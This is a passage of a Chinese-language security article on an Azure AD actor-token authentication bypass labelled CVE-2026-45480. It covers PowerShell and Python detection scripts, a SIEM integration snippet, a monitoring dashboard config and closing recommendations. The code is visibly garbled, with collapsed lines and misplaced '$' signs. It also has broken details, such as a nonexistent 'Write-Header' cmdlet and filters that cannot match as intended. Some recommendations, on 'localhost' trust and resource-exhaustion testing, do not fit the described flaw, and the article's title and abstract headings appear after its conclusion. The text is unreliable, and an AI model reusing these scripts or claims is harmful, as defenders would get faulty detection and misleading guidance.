1. Azure AD Identity Protection监控Azure AD Identity Protection使用人工智能和机器学习来模拟用户和设备的日常行为方式。当检测到异常行为时，系统会评估风险分数并触发警报：

配置Identity Protection风险检测策略Connect-AzureAD $riskPolicy = Get-AzureADMSIdentityProtectionPolicy$ riskPolicy.RiskLevel = "High" $riskPolicy.UserRiskPolicy =$ true $riskPolicy.SignInRiskPolicy =$ trueSet-AzureADMSIdentityProtectionPolicy -IdentityProtectionPolicy $riskPolicy# 监控风险用户$ riskUsers = Get-AzureADMSRiskyUserforeach ( $user in$ riskUsers) { Write-Host "风险用户: $($ user.UserDisplayName) - 风险级别: $($ user.RiskLevel) - 风险状态: $($ user.RiskState)"}

2. Microsoft Defender for Cloud监控Microsoft Defender for Cloud提供了全面的安全监控功能，包括针对Azure AD的专门检测：

配置Defender for Cloud安全警报Connect-AzAccount $securityAlerts = Get-AzSecurityAlertforeach ($ alert in $securityAlerts) { if ($ alert.AlertType -eq "AzureActiveDirectory") { Write-Host "安全警报: $($ alert.AlertDisplayName) - 严重程度: $($ alert.Severity)" Write-Host "描述: $($ alert.Description)" Write-Host "建议: $($ alert.RemediationSteps)" }}

3. 自定义SIEM集成将Azure AD日志集成到安全信息和事件管理(SIEM)系统，如Splunk、QRadar或Microsoft Sentinel：

Python示例：将Azure AD日志发送到SIEMimport requestsimport jsonfrom datetime import datetimedef send_to_siem(log_data, siem_url, api_key): headers = { "Content-Type": "application/json", "Authorization": f"Bearer {api_key}" } payload = { "timestamp": datetime.utcnow().isoformat(), "source": "Azure AD", "event_type": "security_event", "data": log_data } response = requests.post(siem_url, json=payload, headers=headers) if response.status_code == 200: print("日志成功发送到SIEM") else: print(f"发送失败: {response.status_code}")# 示例使用log_entry = { "event_id": "ActorTokenDetected", "user_id": "user@tenant.com", "tenant_id": "target-tenant-id", "source_ip": "malicious-ip", "timestamp": "2026-07-02T11:22:58Z"}send_to_siem(log_entry, "https://your-siem.com/api/events", "your-api-key")

专门检测CVE-2026-45480的技术

针对CVE-2026-45480漏洞的特殊性，需要部署专门的检测技术：

1. Actor Token检测由于Actor tokens的使用不会在标准日志中记录，需要专门检测技术：

检测异常的Graph API调用Connect-AzureAD $auditLogs = Get-AzureADAuditLogs$ actorTokenEvents = $auditLogs \| Where-Object {$ .ActivityDisplayName -like "Graph" -and $_.InitiatedBy.User.UserPrincipalName -eq "Unknown" -and$ .InitiatedBy.App.DisplayName -eq "Azure AD Graph"}foreach ( $event in$ actorTokenEvents) { Write-Host "检测到可能的Actor Token使用:" Write-Host "时间: $($ event.ActivityDateTime)" Write-Host "操作: $($ event.ActivityDisplayName)" Write-Host "目标资源: $($ event.TargetResources $0$ .ResourceName)"}

2. 跨租户访问检测检测来自其他租户的异常访问尝试：

检测跨租户访问 $signInLogs = Get-AzureADMSSignInLogs$ crossTenantSignIns = $signInLogs \| Where-Object {$ _.Status.ErrorCode -eq "0" -and $_.UserPrincipalName -notlike "\*@$ (Get-AzureADTenantDetail).VerifiedDomains $0$ .Name"}foreach ( $signIn in$ crossTenantSignIns) { Write-Host "检测到跨租户登录:" Write-Host "用户: $($ signIn.UserPrincipalName)" Write-Host "IP地址: $($ signIn.IPAddress)" Write-Header "客户端应用: $($ signIn.ClientAppUsed)" Write-Host "设备ID: $($ signIn.DeviceId)"}

3. 权限提升检测监控异常的权限提升活动：

Python示例：检测权限提升事件import requestsimport jsondef detect_privilege_escalation(tenant_id, api_key): headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # 获取最近的权限变更事件 url = f"https://graph.windows.net/{tenant_id}/auditLogs/directoryAudits?api-version=1.6" response = requests.get(url, headers=headers) if response.status_code == 200: audit_events = response.json() $"value"$ privilege_events = \[\] for event in audit_events: if "Role" in event $"activityDisplayName"$ or "Admin" in event $"activityDisplayName"$ : privilege_events.append(event) return privilege_events else: print(f"获取审计日志失败: {response.status_code}") return None# 使用示例tenant_id = "your-tenant-id"api_key = "your-api-key"privilege_events = detect_privilege_escalation(tenant_id, api_key)if privilege_events: print("检测到权限提升事件:") for event in privilege_events: print(f"时间: {event $'activityDateTime'$ }") print(f"操作: {event $'activityDisplayName'$ }") print(f"执行者: {event $'initiatedBy'$ $'user'$ $'userPrincipalName'$ }") print(f"目标: {event $'targetResources'$ $0$ $'displayName'$ }") print("---")

自动化检测脚本

对于大规模环境，可以使用自动化检测脚本进行批量检查：

Azure AD漏洞自动化检测脚本function Test-AzureADVulnerability { param ( $string$ $TenantId, \[string\]$ OutputPath = "AzureAD_Vulnerability_Report.csv" ) try { # 连接到Azure AD Connect-AzureAD -TenantId $TenantId -ErrorAction Stop # 收集基本信息$ tenantInfo = Get-AzureADTenantDetail $servicePrincipals = Get-AzureADServicePrincipal$ users = Get-AzureADUser -All # 检测漏洞指标 $vulnerabilityReport = \[PSCustomObject\]@{ TenantId =$ tenantInfo.ObjectId TenantName = $tenantInfo.DisplayName AzureADGraphAPIEnabled = ($ servicePrincipals | Where-Object { $_.DisplayName -eq "Windows Azure Active Directory" -and$ .AccountEnabled}).Count -gt 0 MicrosoftGraphAPIEnabled = ( $servicePrincipals \| Where-Object {$ .DisplayName -eq "Microsoft Graph" -and $_.AccountEnabled}).Count -gt 0 GlobalAdminCount = ($ users | Where-Object { $_.AssignedRoles -contains "Global Administrator"}).Count MFAEnabledUsers = ($ users | Where-Object { $_.StrongAuthenticationRequirements.Count -gt 0}).Count InactivePrivilegedAccounts = ($ users | Where-Object { $_.AssignedRoles -contains "Global Administrator" -and$ _.LastSignInDateTime -lt (Get-Date).AddDays(-30)}).Count DetectionTime = Get-Date } # 输出报告 $vulnerabilityReport \| Export-Csv -Path$ OutputPath -NoTypeInformation -Encoding UTF8 Write-Host "漏洞检测报告已生成: $OutputPath" return$ vulnerabilityReport } catch { Write-Error "检测过程中发生错误: $_" return$ null }}# 使用示例 $report = Test-AzureADVulnerability -TenantId "your-tenant-id"$ report | Format-List

监控仪表板配置

为了更直观地监控CVE-2026-45480漏洞相关的安全指标，可以配置专门的监控仪表板：

Azure Monitor仪表板配置示例azureMonitor: title: "Azure AD CVE-2026-45480 监控仪表板" description: "实时监控Azure AD安全状态和CVE-2026-45480漏洞指标" version: "1.0" timeRange: "PT24H" tiles: - title: "身份验证事件" type: "logAnalytics" queries: - query: | AzureAD | where Category == "SignInLogs" | summarize count() by bin(TimeGenerated, 1h) | render timechart title: "每小时身份验证事件" - title: "权限变更事件" type: "logAnalytics" queries: - query: | AuditLogs | where Category == "DirectoryManagement" | where OperationName has "Role" | summarize count() by OperationName, bin(TimeGenerated, 1h) | render barchart title: "权限变更事件统计" - title: "风险用户检测" type: "logAnalytics" queries: - query: | RiskyUsers | summarize count() by RiskLevel, RiskState title: "风险用户状态"

通过这种系统化的检测流程，组织可以全面了解其Azure AD环境的安全状况，为后续的修复工作提供准确依据。建议将检测流程集成到日常安全运维工作中，定期执行，确保及时发现新的安全威胁。

八、结论与建议

CVE-2026-45480漏洞的披露再次凸显了云身份服务安全的重要性，特别是在企业数字化转型过程中，身份服务已成为网络安全的关键环节。通过对该漏洞的全面技术分析，我们可以得出几个关键结论，并对未来的安全防护提出建议。

关键发现总结

通过对CVE-2026-45480漏洞的深入分析，我们得出以下关键发现：

漏洞严重性极高：该漏洞CVSS评分达到满分10.0，属于严重级别，攻击者无需任何预先权限即可利用，且能够完全绕过多层安全防护，包括多因素认证和条件访问策略。
影响范围广泛：由于Azure AD作为微软云身份服务的核心组件，该漏洞影响全球所有使用Azure AD进行身份验证的企业和组织，特别是金融服务、医疗健康、电信行业和政府机构等关键基础设施行业。
技术机制复杂：该漏洞涉及Actor tokens机制与Azure AD Graph API验证缺陷的协同作用，这种组合使得攻击者能够以极低的技术成本获取对目标租户的完全控制权。
检测防御困难：由于Actor tokens的使用不会在目标租户的日志中留下记录，传统的安全监控手段难以检测到这种攻击，给防御工作带来巨大挑战。

防护优先级建议

基于对CVE-2026-45480漏洞的全面分析，我们提出以下核心防护建议：

1. 立即行动，优先修复

立即评估：第一时间评估所有Azure AD租户，确认是否在受影响范围内
优先处理：对关键基础设施行业的Azure AD租户优先进行修复，降低社会影响风险
分批实施：制定分批修复计划，优先处理关键业务系统，避免一次性升级带来的风险

2. 多层防护，纵深防御

身份层：实施严格的身份验证机制，禁用Azure AD Graph API，强制使用Microsoft Graph API
权限层：实施最小权限原则，使用Azure AD Privileged Identity Management实施基于时间和审批的角色激活
网络层：配置网络访问控制，仅允许来自可信IP地址的Azure AD访问，部署Web应用防火墙检测恶意请求

3. 持续监控，及时响应

流量监控：部署网络流量监控，检测恶意的Azure AD Graph API流量
日志审计：定期审计Azure AD访问日志，发现异常访问模式
入侵检测：部署入侵检测系统（IDS），及时发现可能的漏洞利用尝试

4. 长期改进，安全加固

补丁管理：建立标准化的漏洞管理流程，设定SLA要求，例如严重漏洞72小时内修复
安全架构：重新评估内部服务的认证与授权机制，避免依赖"localhost"作为安全边界
安全培训：对相关人员进行安全意识培训，提高整体安全防护能力

长期安全建议

从长远来看，企业需要构建更加安全的应用架构，以应对类似CVE-2026-45480的威胁：

零信任架构：逐步向零信任架构转型，对任何访问请求都进行严格的身份验证和授权，不再依赖网络边界作为主要防护手段。
自动化安全响应：建立自动化的漏洞响应机制，包括自动漏洞检测、风险评估、补丁部署等，提高安全响应的效率和准确性。
供应链安全管理：加强对第三方软件和服务的安全管理，建立完善的供应链安全评估体系，减少通过供应链引入的安全风险。
安全开发生命周期：将安全融入软件开发的各个环节，包括威胁建模、安全编码、安全测试等，从源头上减少漏洞的产生。

行业协作与标准改进

CVE-2026-45480漏洞的分析为我们提供了宝贵的安全经验。从长远来看，需要行业协作和标准改进：

厂商协作：各云服务提供商应共享漏洞信息和防护经验，共同提高云身份服务的安全性。
标准更新：IETF和标准化组织应考虑更新身份认证协议标准，增加对类似CVE-2026-45480漏洞的防护要求。
安全测试：在协议标准制定过程中，应增加安全测试环节，特别是针对资源耗尽类攻击的测试。
透明披露：安全研究人员在发现协议层漏洞时，应遵循负责任的披露原则，给厂商留出合理的修复时间。

总之，CVE-2026-45480漏洞的威胁性和危害性不容忽视。通过技术、管理、法律和教育等多种手段的综合运用，企业不仅可以有效应对当前漏洞的威胁，还能显著提升整体安全防护能力，为未来的安全挑战做好准备。

Azure AD 身份认证绕过 CVE-2026-45480详解

摘要

关键词